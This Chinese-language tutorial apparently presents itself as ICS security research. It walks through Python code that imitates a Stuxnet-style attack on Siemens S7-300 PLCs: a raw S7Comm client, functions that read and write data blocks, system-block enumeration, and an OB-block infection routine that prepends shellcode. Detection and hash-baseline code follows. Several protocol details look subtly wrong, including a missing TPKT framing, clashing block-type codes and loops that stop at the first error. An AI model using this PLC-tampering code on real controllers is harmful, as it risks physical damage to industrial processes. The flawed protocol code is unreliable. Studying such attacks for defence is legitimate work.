当工控系统遇上APT：用Python模拟Stuxnet对西门子S7-315 PLC的读写攻击逻辑

工控安全实战：Python模拟西门子PLC通信与防御实验

在工业控制系统(ICS)安全领域，西门子S7系列PLC的通信机制一直是研究热点。2010年震网病毒事件首次向世界展示了针对工业设施的数字化攻击可能造成怎样的物理破坏。本文将基于完全合法的测试环境，使用Python构建一个PLC通信模拟框架，帮助安全研究人员理解工控系统面临的威胁模型。

1. 实验环境搭建与基础原理

1.1 西门子S7通信协议概述

西门子S7-300/400系列PLC采用S7Comm协议进行通信，这是一种基于OSI模型的专有协议，运行在TCP/102端口。协议栈主要分为三层：

在Python中模拟该协议，我们需要实现以下核心功能：

import socket from struct import pack, unpack class S7Client: def __init__(self, ip): self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.ip = ip self.port = 102 def connect(self): self.socket.connect((self.ip, self.port)) # COTP连接协商 self._send_cotp_connection_request() def _send_cotp_connection_request(self): cotp_pdu = bytes([ 0x11, # PDU长度 0xE0, # CR连接请求 0x00, # 目标引用 0x00, # 源引用 0x00, # 协议类 0xC0, # 参数码(TPDU大小) 0x01, # 参数长度 0x0A # TPDU大小(10=1024字节) ]) self.socket.send(pack('!B', len(cotp_pdu)) + cotp_pdu)

1.2 仿真环境配置

推荐使用以下工具搭建实验环境：

• PLCSIM Advanced：西门子官方PLC仿真器，支持S7-1500和S7-1200
• Snap7：开源的S7协议实现库，提供Python绑定
• Wireshark：抓包分析S7通信流量

安装必要的Python包：

pip install python-snap7 scapy

注意：所有实验应在隔离网络环境中进行，避免对真实工业设备造成干扰

2. PLC内存区域读写模拟

2.1 数据块(DB)读写原理

西门子PLC采用分块内存管理，主要区域包括：

• DB：数据块，用户自定义结构体存储区
• M：位存储区
• I：输入映像区
• Q：输出映像区

以下Python代码演示如何读写DB块：

def read_db_block(self, db_number, start_offset, size): """读取DB块数据""" pdu = bytes([ 0x32, 0x01, 0x00, 0x00, 0xFF, 0x04, 0x00, 0x0E, 0x00, 0x00, 0x04, 0x00, 0x00, 0x08, 0x12, 0x0A, 0x10, 0x02, 0x00, 0x02, 0x00, db_number, (start_offset >> 8) & 0xFF, start_offset & 0xFF, 0x00, size ]) self.socket.send(pdu) response = self.socket.recv(1024) return response[25:25+size] def write_db_block(self, db_number, start_offset, data): """写入DB块数据""" length = len(data) pdu = bytes([ 0x32, 0x01, 0x00, 0x00, 0xFF, 0x04, 0x00, 0x0E + length, 0x00, 0x00, 0x04, 0x00, 0x00, 0x08, 0x12, 0x0A, 0x10, 0x02, 0x00, 0x02, 0x00, db_number, (start_offset >> 8) & 0xFF, start_offset & 0xFF, 0x00, length ]) + data self.socket.send(pdu)

2.2 系统数据块(SDB)枚举技术

SDB包含PLC的硬件配置信息，攻击者常通过枚举SDB寻找攻击入口：

def enumerate_sdb(self): """枚举系统数据块""" sdb_list = [] for block_type in [0x38, 0x39]: # SDB类型 for block_num in range(0, 10000): try: header = self.read_block_header(block_type, block_num) if header[0:4] == b'\x53\x37\x20\x31': # 'S7 1' magic sdb_list.append((block_type, block_num)) except Exception: break return sdb_list

3. 组织块(OB)注入技术分析

3.1 OB1与OB35的作用

• OB1：主循环组织块，周期性执行
• OB35：定时中断组织块，默认100ms周期

以下表格对比了两种组织块的特点：

3.2 代码前置注入技术

震网病毒采用code-prepending技术感染OB块：

def infect_ob_block(self, ob_number, shellcode): """感染OB块-前置注入技术""" # 1. 读取原始OB块 orig_data = self.read_block(0x38, ob_number) # 2. 解析块头结构 block_size = unpack('>I', orig_data[4:8])[0] checksum = orig_data[8:12] # 3. 构造新块 new_block = ( orig_data[0:4] + # 魔数 pack('>I', block_size + len(shellcode)) + # 新长度 checksum + # 临时校验和 shellcode + # 恶意代码 orig_data[12:] # 原始代码 ) # 4. 计算新校验和 new_checksum = self.calculate_checksum(new_block) infected_block = new_block[0:8] + new_checksum + new_block[12:] # 5. 写回PLC self.write_block(0x38, ob_number, infected_block)

4. 防御检测方案实现

4.1 异常通信模式检测

基于流量分析的检测规则示例：

from scapy.all import * def detect_s7_anomalies(pcap_file): """检测S7通信异常""" pkts = rdpcap(pcap_file) s7_pkts = [p for p in pkts if p.haslayer(TCP) and p[TCP].dport == 102] # 检测指标 metrics = { 'short_payload': 0, 'frequent_uploads': 0, 'db890_access': 0 } for p in s7_pkts: payload = bytes(p[TCP].payload) if len(payload) < 10: metrics['short_payload'] += 1 if payload[5:7] == b'\x04\x00': metrics['frequent_uploads'] += 1 if len(payload) > 20 and payload[21] == 0x38: metrics['db890_access'] += 1 return metrics

4.2 PLC完整性校验方案

实施PLC程序完整性监控的步骤：

1. 基线建立：

   • 记录所有OB/DB块的哈希值
   • 保存合法通信模式特征

2. 实时监控：

   • 周期性地校验关键块哈希
   • 分析通信流量模式

3. 异常响应：

   • 触发警报并记录日志
   • 自动切换到安全模式

实现哈希校验的Python示例：

import hashlib def create_plc_baseline(client): """创建PLC配置基线""" baseline = {} for block_type in [0x38, 0x39, 0x41]: # OB,DB,SDB for block_num in range(0, 10000): try: data = client.read_block_header(block_type, block_num) if data[0:4] == b'\x53\x37\x20\x31': full_block = client.read_block(block_type, block_num) hash = hashlib.sha256(full_block).hexdigest() baseline[f"{block_type:02X}-{block_num}"] = hash except: break return baseline

在工业控制系统安全研究中，理解攻击技术的最佳方式是在受控环境中重建攻击链。通过Python实现的这些模拟技术，安全团队可以更有效地开发检测规则和防御方案。实际部署防御措施时，建议采用深度防御策略，结合网络层隔离、主机加固和PLC程序签名等多重保护机制。